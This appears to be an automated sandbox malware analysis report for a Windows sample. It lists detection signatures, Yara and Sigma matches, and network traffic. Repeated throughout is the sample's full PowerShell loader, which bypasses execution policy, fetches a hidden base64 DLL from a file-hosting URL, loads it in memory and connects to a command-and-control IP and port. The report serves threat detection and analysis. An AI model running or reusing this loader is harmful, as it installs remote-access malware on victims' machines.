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Windows Analysis Report

Overview

General Information

Analysis ID:	1580965
Infos:

Detection

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Sigma detected: Powershell download and load assembly

Yara detected Powershell download and execute

Bypasses PowerShell execution policy

Found suspicious powershell code related to unpacking or dynamic code loading

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Suspicious command line found

Suspicious powershell command line found

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Usage Of Web Request Commands And Cmdlets

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7040 cmdline: cmd /C "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6564 cmdline: powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300'); MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 6564	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 6564	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1d4bd:$b2: ::FromBase64String( 0x1d6e6:$b2: ::FromBase64String( 0x1d8cf:$b2: ::FromBase64String( 0x1daf8:$b2: ::FromBase64String( 0x5bf54:$b2: ::FromBase64String( 0x5c17d:$b2: ::FromBase64String( 0x5c35e:$b2: ::FromBase64String( 0x5c587:$b2: ::FromBase64String( 0x5f422:$b2: ::FromBase64String( 0x5f64b:$b2: ::FromBase64String( 0xce59c:$b2: ::FromBase64String( 0xce7c5:$b2: ::FromBase64String( 0xce9ae:$b2: ::FromBase64String( 0xcebd7:$b2: ::FromBase64String( 0xcf4c9:$b2: ::FromBase64String( 0xcf6f2:$b2: ::FromBase64String( 0xd42ad:$b2: ::FromBase64String( 0xd44d6:$b2: ::FromBase64String( 0x101c9b:$b2: ::FromBase64String( 0x101ec4:$b2: ::FromBase64String( 0x1304cb:$b2: ::FromBase64String(

Other

Source	Rule	Description	Author	Strings
amsi32_6564.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: cmd /C "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');", CommandLine: cmd /C "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');", CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3332, ProcessCommandLine: cmd /C "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $i

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');, CommandLine: powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /C "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: cmd /C "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');", CommandLine: cmd /C "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');", CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3332, ProcessCommandLine: cmd /C "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $i

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');, CommandLine: powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /C "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>

Data Obfuscation

Sigma detected: Powershell download and load assembly

Source: Process started

Author: Joe Security: Data: Command: cmd /C "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');", CommandLine: cmd /C "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');", CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3332, ProcessCommandLine: cmd /C "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $i

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: unknown

HTTPS traffic detected: 193.30.119.205:443 -> 192.168.2.4:49732 version: TLS 1.2

Source:	Binary string: ll\mscorlib.pdbVS source: powershell.exe, 00000002.00000002.1685850896.0000000007810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Target.pdb source: powershell.exe, 00000002.00000002.1685850896.0000000007810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000002.00000002.1685850896.0000000007810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000002.00000002.1680024392.000000000327A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 00000002.00000002.1685850896.00000000077C7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000002.00000002.1685850896.0000000007810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \mscorlib.pdb source: powershell.exe, 00000002.00000002.1685850896.0000000007810000.00000004.00000020.00020000.00000000.sdmp

Source: global traffic

HTTP traffic detected: GET /api/file/get?filekey=mL2_TnIGKQqocB6zLvcvN68Tq_FpfC4Gh8VCgsz_iDhqU3UX_H_oxv3cUysOULpM&pk_vid=fd4f614bb209c62c1730851470a0904f HTTP/1.1Host: 3105.filemail.comConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 193.30.119.205 193.30.119.205

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: 3105.filemail.com

Source: powershell.exe, 00000002.00000002.1683757384.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.1680463266.0000000004F27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.1680463266.0000000004DD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.1680463266.0000000004F27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.1680463266.0000000004F27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://3105.filemail.com
Source: powershell.exe, 00000002.00000002.1680463266.0000000004F27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://3105.filemail.com/api/file/get?filekey=mL2_TnIGKQqocB6zLvcvN68Tq_FpfC4Gh8VCgsz_iDhqU3UX_H_ox
Source: powershell.exe, 00000002.00000002.1680463266.0000000004DD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000002.00000002.1683757384.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.1683757384.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.1683757384.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.1680463266.0000000004F27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.1680463266.00000000052A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000002.00000002.1683757384.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443

Source: unknown

HTTPS traffic detected: 193.30.119.205:443 -> 192.168.2.4:49732 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 6564, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: Process Memory Space: powershell.exe PID: 6564, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: powershell.exe, 00000002.00000002.1685850896.00000000077C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .slNI
Source: powershell.exe, 00000002.00000002.1685850896.00000000077C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .sLNI

Source: classification engine

Classification label: mal88.evad.win@4/3@1/1

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7160:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s0dsinev.5ec.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

